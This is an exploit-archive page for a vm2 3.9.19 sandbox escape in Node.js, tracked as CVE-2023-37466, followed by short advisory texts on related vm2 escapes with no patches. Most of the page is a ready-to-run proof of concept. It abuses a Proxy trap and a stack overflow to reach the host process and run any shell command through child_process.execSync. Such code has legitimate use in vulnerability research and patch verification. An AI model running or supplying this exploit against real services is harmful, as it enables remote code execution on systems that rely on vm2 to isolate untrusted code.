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vm2 3.9.19 Sandbox Escape
vm2 versions 3.9.19 and below suffer from a sandbox escape vulnerability.
/*# Exploit Title: vm2 Sandbox Escape vulnerability# Date: 23/12/2023# Exploit Author: Calil Khalil & Adriel Mc Roberts# Vendor Homepage: https://github.com/patriksimek/vm2# Software Link: https://github.com/patriksimek/vm2# Version: vm2 <= 3.9.19# Tested on: Ubuntu 22.04# CVE : CVE-2023-37466*/const { VM } = require("vm2");const vm = new VM();const command = 'pwd'; // Change to the desired commandconst code = `async function fn() { (function stack() { new Error().stack; stack(); })();}try { const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy({}, handler); throw proxiedErr;} catch ({ constructor: c }) { const childProcess = c.constructor('return process')().mainModule.require('child_process'); childProcess.execSync('${command}');}`;console.log(vm.run(code));Related news
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vm2 is an open source vm/sandbox for Node.js. In vm2 for versions up to and including 3.9.19, Node.js custom inspect function allows attackers to escape the sandbox and run arbitrary code. This may result in Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox. There are no patches and no known workarounds. Users are advised to find an alternative software.
vm2 is an advanced vm/sandbox for Node.js. The library contains critical security issues and should not be used for production. The maintenance of the project has been discontinued. In vm2 for versions up to 3.9.19, `Promise` handler sanitization can be bypassed with `@@species` accessor property allowing attackers to escape the sandbox and run arbitrary code. Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.
In vm2 for versions up to 3.9.19, `Promise` handler sanitization can be bypassed, allowing attackers to escape the sandbox and run arbitrary code. ### Impact Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox. ### Patches None. ### Workarounds None. ### References PoC is to be disclosed on or after the 8th of August. ### For more information If you have any questions or comments about this advisory: - Open an issue in [VM2](https://github.com/patriksimek/vm2)